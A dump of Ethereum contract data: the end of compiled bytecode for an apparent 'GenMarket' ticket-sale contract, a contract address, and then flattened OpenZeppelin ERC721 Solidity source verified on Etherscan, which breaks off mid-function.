2602001806120a56025913960400191505060405180910390fd5b600060603373ffffffffffffffffffffffffffffffffffffffff164760405180600001905060006040518083038185875af1925050503d8060008114610cc1576040519150601f19603f3d011682016040523d82523d6000602084013e610cc6565b606091505b509150915081610d3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f47656e4d61726b65743a204661696c656420746f2073656e642045746865720081525060200191505060405180910390fd5b5050565b60048181548110610d4f57fe5b906000526020600020016000915090505481565b600a5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611f7f602c913960400191505060405180910390fd5b60c8825110610e69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611f03602c913960400191505060405180910390fd5b60005b60c88160ff161015610f145782518160ff161415610e8957610f14565b81600760008681526020019081526020016000206000858460ff1681518110610eae57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e6c565b50505050565b60096020528060005260406000206000915090505481565b60006040518060400160405280600281526020017f4a4300000000000000000000000000000000000000000000000000000000000081525080519060200120838360405180838380828437808301925050509250505060405180910390201415610fa55763bc197c8160e01b9050610fa6565b5b98975050505050505050565b60028181548110610fbf57fe5b906000526020600020016000915090505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003818154811061100657fe5b906000526020600020016000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611ffb6033913960400191505060405180910390fd5b600660149054906101000a900460ff1615611126576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611fd86023913960400191505060405180910390fd5b606060038054905067ffffffffffffffff8111801561114457600080fd5b506040519080825280602002602001820160405280156111735781602001602082028036833780820191505090505b50905060005b6003805490508160ff1610156111b5578060ff16828260ff168151811061119c57fe5b6020026020010181815250508080600101915050611179565b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632eb2c2d633308460036040518060400160405280600281526020017f4a430000000000000000000000000000000000000000000000000000000000008152506040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156112c15780820151818401526020810190506112a6565b50505050905001848103835286818154815260200191508054801561130557602002820191906000526020600020905b8154815260200190600101908083116112f1575b5050848103825285818151815260200191508051906020019080838360005b8381101561133f578082015181840152602081019050611324565b50505050905090810190601f16801561136c5780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b15801561139157600080fd5b505af11580156113a5573d6000803e3d6000fd5b505050506001600660146101000a81548160ff02191690831515021790555050565b600660149054906101000a900460ff16611449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f47656e4d61726b65743a204d61726b6574206973206e6f74206163746976650081525060200191505060405180910390fd5b600a54611454611d63565b10156114c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f47656e4d61726b65743a2053746172742074696d65206d75737420706173730081525060200191505060405180910390fd5b6007600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611598576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f47656e4d61726b65743a2055736572206e6f74206f6e2077686974656c69737481525060200191505060405180910390fd5b600482815481106115a557fe5b9060005260206000200154611613826008600086815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6b90919063ffffffff16565b111561166a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611f2f602a913960400191505060405180910390fd5b6003828154811061167757fe5b90600052602060002001546116a8826009600086815260200190815260200160002054611d6b90919063ffffffff16565b11156116ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602781526020018061204f6027913960400191505060405180910390fd5b3461172a826002858154811061171157fe5b9060005260206000200154611df390919063ffffffff16565b111561179e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f47656e4d61726b65743a20496e73756666696369656e74207061796d656e740081525060200191505060405180910390fd5b611801816008600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6b90919063ffffffff16565b6008600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187b816009600085815260200190815260200160002054611d6b90919063ffffffff16565b6009600084815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561191257600080fd5b505afa158015611926573d6000803e3d6000fd5b505050506040513d602081101561193c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611ba05760006060600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b1580156119d457600080fd5b505afa1580156119e8573d6000803e3d6000fd5b505050506040513d60208110156119fe57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16611ada600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639a36f9326040518163ffffffff1660e01b815260040160206040518083038186803b158015611a9057600080fd5b505afa158015611aa4573d6000803e3d6000fd5b505050506040513d6020811015611aba57600080fd5b810190808051906020019092919050505034611e7990919063ffffffff16565b60405180600001905060006040518083038185875af1925050503d8060008114611b20576040519150601f19603f3d011682016040523d82523d6000602084013e611b25565b606091505b509150915081611b9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f47656e4d61726b65743a204661696c656420746f2073656e642045746865720081525060200191505060405180910390fd5b50505b6060600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a30338686866040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c78578082015181840152602081019050611c5d565b50505050905090810190601f168015611ca55780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015611cc857600080fd5b505af1158015611cdc573d6000803e3d6000fd5b50505050505050565b60006040518060400160405280600281526020017f4a4300000000000000000000000000000000000000000000000000000000000081525080519060200120838360405180838380828437808301925050509250505060405180910390201415611d585763f23a6e6160e01b9050611d59565b5b9695505050505050565b600042905090565b600080828401905083811015611de9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415611e065760009050611e73565b6000828402905082848281611e1757fe5b0414611e6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061202e6021913960400191505060405180910390fd5b809150505b92915050565b6000808211611ef0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b818381611ef957fe5b0490509291505056fe47656e4d61726b65743a2057686974656c697374206c657373207468616e2032303020617420612074696d6547656e4d61726b65743a20557365722077696c6c20657863656564207075726368617365206c696d697447656e4d61726b65743a2053746172742074696d6520616c7265616479206f6363757272656447656e4d61726b65743a204f6e6c792063726561746f722063616e207570646174652077686974656c69737447656e4d61726b65743a204f6e6c792063726561746f722063616e207570646174652073746172742074696d6547656e4d61726b65743a204d61726b657420697320616c72656164792061637469766547656e4d61726b65743a204f6e6c79207468652063726561746f722063616e206465706f73697420746865207469636b657473536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7747656e4d61726b65743a204e6f7420656e6f756768207469636b6574732072656d61696e696e6747656e4d61726b65743a204e65772073746172742074696d65206d75737420626520696e207468652066757475726547656e4d61726b65743a204f6e6c79207468652063726561746f722063616e20636c61696da2646970667358221220587ad23e600cf9659a27545e6d3b2cfe09cb97ccfe6f36afcc0f80408331ed1464736f6c634300060c003347656e4d61726b6574466163746f72793a2041525241592053495a45204d49534d4154434847656e4d61726b6574466163746f72793a204665652064697669736f72206d757374206e6f74206265207a65726fa2646970667358221220f0e2d0a64d3d186183f0dbe3bfe4fe59a2b411421fd05fe10785d970c61864e264736f6c634300060c0033
[ 7, 12 ]
0xf2bca53f401c0f53ca78e9270efd1f7b5330b522
/** *Submitted for verification at Etherscan.io on 2021-08-31 */ // Sources flattened with hardhat v2.5.0 https://hardhat.org // File contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 